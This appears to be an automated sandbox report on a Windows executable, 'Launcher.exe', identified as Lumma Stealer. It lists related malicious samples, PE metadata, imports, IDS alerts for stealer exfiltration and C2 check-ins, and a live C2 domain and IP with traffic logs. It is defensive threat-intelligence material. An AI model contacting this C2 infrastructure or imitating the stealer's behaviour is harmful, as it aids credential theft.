a0e9f5d64349fb13191bc781f81f42e1	github_softwares_v1.18.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	188.114.96.3
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	188.114.96.3
	pn24_065.docx.doc	Get hash	malicious	Unknown	Browse	188.114.96.3
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	188.114.96.3
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	DS_Store.exe	Get hash	malicious	CobaltStrike, ReflectiveLoader	Browse	188.114.96.3
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.649441362291848
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Launcher.exe
File size:	487'936 bytes
MD5:	eb703224c407d3d68b7fbd444cc2dfc3
SHA1:	2c11f4fd7e736ba67ba7a9e5f4e79f5c7c5edebe
SHA256:	f9544eee0a9c3a07cd8b5a912cdbc5c75252cd951709e409b53027310b3a969e
SHA512:	da1448222d34f4af9d7112342e2a7a45413d3aabb91917e286fab726152311a38c3a80c6e821ff8d8b55d04d0b01301d8299edad56123eb9c7f42d543a95dae5
SSDEEP:	6144:e24ml/xWmgXhnmrCX6iQK6BHVlsdssys1FdUf7HGrzKGzTnkT+UKSgLjwfqSOOgr:e2np7ggpHVyyslQGrz5kqUeLjwCSO/
TLSH:	20A4F151B4C08073C673253509E8D7B89E7EB9704FA68DAFAB944F7E0F30281E621667
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........wq..."..."..."]..#..."]..#'.."]..#..."LE.#..."]..#..."..."..."LE.#..."LE.#..."}F.#..."}F.#..."Rich..."................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x408acb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x669FC4D3 [Tue Jul 23 14:57:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	42eb2b50acad70f9618962bfa70c7f34

Entrypoint Preview

Instruction
call 00007F8BE08D81C4h
jmp 00007F8BE08D78A9h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F8BE08D82AFh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F8BE08D8299h
int3
int3
int3
int3
push ebx
push esi
mov eax, dword ptr [esp+18h]
or eax, eax
jne 00007F8BE08D7A4Ah
mov ecx, dword ptr [esp+14h]
mov eax, dword ptr [esp+10h]
xor edx, edx
div ecx
mov ebx, eax
mov eax, dword ptr [esp+0Ch]
div ecx
mov edx, ebx
jmp 00007F8BE08D7A73h
mov ecx, eax
mov ebx, dword ptr [esp+14h]
mov edx, dword ptr [esp+10h]
mov eax, dword ptr [esp+0Ch]
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jne 00007F8BE08D7A26h
div ebx
mov esi, eax
mul dword ptr [esp+18h]
mov ecx, eax
mov eax, dword ptr [esp+14h]
mul esi
add edx, ecx
jc 00007F8BE08D7A40h
cmp edx, dword ptr [esp+10h]
jnbe 00007F8BE08D7A3Ah
jc 00007F8BE08D7A39h
cmp eax, dword ptr [esp+0Ch]
jbe 00007F8BE08D7A33h
dec esi
xor edx, edx
mov eax, esi
pop esi
pop ebx
retn 0010h
int3
int3
int3
int3
int3
int3
int3
int3
push ebx
mov eax, dword ptr [esp+14h]
or eax, eax
jne 00007F8BE08D7A4Ah
mov ecx, dword ptr [esp+10h]
mov eax, dword ptr [esp+0Ch]
xor edx, edx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29dfc	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x79000	0x1f94	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x273a8	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x27400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x272e8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x20000	0x174	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1ea87	0x1ec00	74572ee2a8ffc122bc46d570bdda8c33	False	0.5812849339430894	data	6.594277178434165	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x20000	0xa6ac	0xa800	549803e1e95103221385d77eb03d4bce	False	0.38292875744047616	data	4.621267525953547	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b000	0x4c404	0x4b400	10967ebb64f3fd60c9b1079da1c80c30	False	0.9841478924418605	data	7.988911210370472	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bsS	0x78000	0x4ac	0x600	f929bf25d4c42bd01cdad568b5fe4d8a	False	0.4791666666666667	data	5.111291762588542	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x79000	0x1f94	0x2000	7b02f8bc0bbb94c166c37781d6f450c4	False	0.7503662109375	data	6.5259141747211675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

USER32.dll

OffsetRect

KERNEL32.dll

GetCPInfo, CreateFileW, WaitForSingleObject, CreateThread, VirtualAllocEx, FreeConsole, RaiseException, InitOnceBeginInitialize, InitOnceComplete, CloseHandle, GetCurrentThreadId, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, TryAcquireSRWLockExclusive, WakeAllConditionVariable, SleepConditionVariableSRW, GetLastError, FreeLibraryWhenCallbackReturns, CreateThreadpoolWork, SubmitThreadpoolWork, CloseThreadpoolWork, GetModuleHandleExW, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, QueryPerformanceCounter, EncodePointer, DecodePointer, MultiByteToWideChar, WideCharToMultiByte, LCMapStringEx, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, GetStringTypeW, WriteConsoleW, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetCurrentProcess, TerminateProcess, GetCurrentProcessId, InitializeSListHead, HeapSize, RtlUnwind, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleFileNameW, GetStdHandle, WriteFile, GetCommandLineA, GetCommandLineW, HeapFree, HeapAlloc, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, GetFileSizeEx, SetFilePointerEx, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, GetProcessHeap, SetStdHandle

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T20:37:04.604918+0200	TCP	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	49733	443	192.168.2.4	188.114.96.3
2024-07-26T20:37:11.134815+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	49737	443	192.168.2.4	188.114.96.3
2024-07-26T20:37:07.763651+0200	TCP	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	49736	443	192.168.2.4	188.114.96.3
2024-07-26T20:37:03.519551+0200	TCP	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	49732	443	192.168.2.4	188.114.96.3
2024-07-26T20:37:02.375727+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	49731	443	192.168.2.4	188.114.96.3
2024-07-26T20:37:01.200358+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	49730	443	192.168.2.4	188.114.96.3
2024-07-26T20:37:16.591630+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49738	40.68.123.157	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 20:37:00.239495039 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:00.239547968 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:00.239809036 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:00.242954016 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:00.242996931 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:00.722800970 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:00.722986937 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:00.725744009 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:00.725770950 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:00.726277113 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:00.773190975 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:00.811661959 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:00.811662912 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:00.811853886 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.200427055 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.200675964 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.200841904 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.210405111 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.210467100 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.210511923 CEST	49730	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.210530043 CEST	443	49730	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.246746063 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.246835947 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.246921062 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.289097071 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.289141893 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.808269978 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.808423042 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.820252895 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.820287943 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.820720911 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:01.866784096 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.875473022 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.875516891 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:01.875730038 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.375708103 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.375823021 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.375902891 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.375936031 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.375960112 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.375972033 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.376027107 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.376060963 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.376082897 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.376090050 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.376101971 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.376157999 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.376159906 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.376173973 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.376224041 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.376225948 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.376235962 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.376291037 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.380234957 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.429402113 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.465967894 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.466284990 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.466407061 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.466464996 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.466511965 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.466547012 CEST	49731	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.466559887 CEST	443	49731	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.518488884 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.518578053 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.518696070 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.519079924 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.519159079 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.983551979 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.983655930 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.984896898 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.984924078 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.985284090 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.986387014 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.986525059 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.986572027 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:02.986644983 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:02.986660004 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:03.519476891 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:03.519737005 CEST	443	49732	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:03.519731998 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:03.519808054 CEST	49732	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:03.538316011 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:03.538409948 CEST	443	49733	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:03.538804054 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:03.538985968 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:03.539019108 CEST	443	49733	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:04.100075960 CEST	443	49733	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:04.100270033 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.101557016 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.101572037 CEST	443	49733	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:04.101891041 CEST	443	49733	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:04.103070974 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.103179932 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.103209019 CEST	443	49733	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:04.604810953 CEST	443	49733	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:04.605005026 CEST	443	49733	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:04.605106115 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.605106115 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.680084944 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.680135012 CEST	443	49734	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:04.680216074 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.680519104 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.680533886 CEST	443	49734	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:04.913705111 CEST	49733	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:04.913743019 CEST	443	49733	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:05.176532984 CEST	443	49734	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:05.176692963 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.177756071 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.177777052 CEST	443	49734	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:05.178111076 CEST	443	49734	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:05.179744959 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.179903030 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.179941893 CEST	443	49734	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:05.180027962 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.180043936 CEST	443	49734	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:05.739974022 CEST	443	49734	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:05.740196943 CEST	443	49734	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:05.740252018 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.740252018 CEST	49734	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.958101988 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.958183050 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:05.958436966 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.958935976 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:05.958973885 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:06.428534031 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:06.428843975 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:06.430555105 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:06.430581093 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:06.430989027 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:06.432060003 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:06.432209015 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:06.432218075 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:06.839179039 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:06.839423895 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:06.839497089 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:06.839576960 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:06.839595079 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.263658047 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.263703108 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.263917923 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.264107943 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.264121056 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.758269072 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.758363962 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.760080099 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.760107994 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.760656118 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.762262106 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.762999058 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.763046026 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.763176918 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.763221979 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.763345957 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.763381004 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.763535976 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.763571978 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.763751030 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.763788939 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.763967991 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.764008999 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.764031887 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.764200926 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.764242887 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.774375916 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.774595022 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.774636984 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.774671078 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.774693012 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.774756908 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.774806976 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.774863958 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.781104088 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:07.781236887 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:07.781296968 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:10.158227921 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:10.158457041 CEST	443	49736	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:10.158524036 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:10.158560038 CEST	49736	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:10.162597895 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:10.162687063 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:10.162797928 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:10.163193941 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:10.163227081 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:10.650857925 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:10.651099920 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:10.652537107 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:10.652565002 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:10.653503895 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:10.654597998 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:10.654638052 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:10.654967070 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:11.134851933 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:11.135075092 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:11.135158062 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:11.135261059 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:11.135261059 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 26, 2024 20:37:11.135307074 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 26, 2024 20:37:11.135340929 CEST	443	49737	188.114.96.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 20:37:00.219902992 CEST	50460	53	192.168.2.4	1.1.1.1
Jul 26, 2024 20:37:00.235589981 CEST	53	50460	1.1.1.1	192.168.2.4
Jul 26, 2024 20:37:16.322124958 CEST	53	63354	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 20:37:00.219902992 CEST	192.168.2.4	1.1.1.1	0x38f0	Standard query (0)	kaminiasbbefow.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 20:37:00.235589981 CEST	1.1.1.1	192.168.2.4	0x38f0	No error (0)	kaminiasbbefow.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 20:37:00.235589981 CEST	1.1.1.1	192.168.2.4	0x38f0	No error (0)	kaminiasbbefow.shop		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

kaminiasbbefow.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	443	3868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
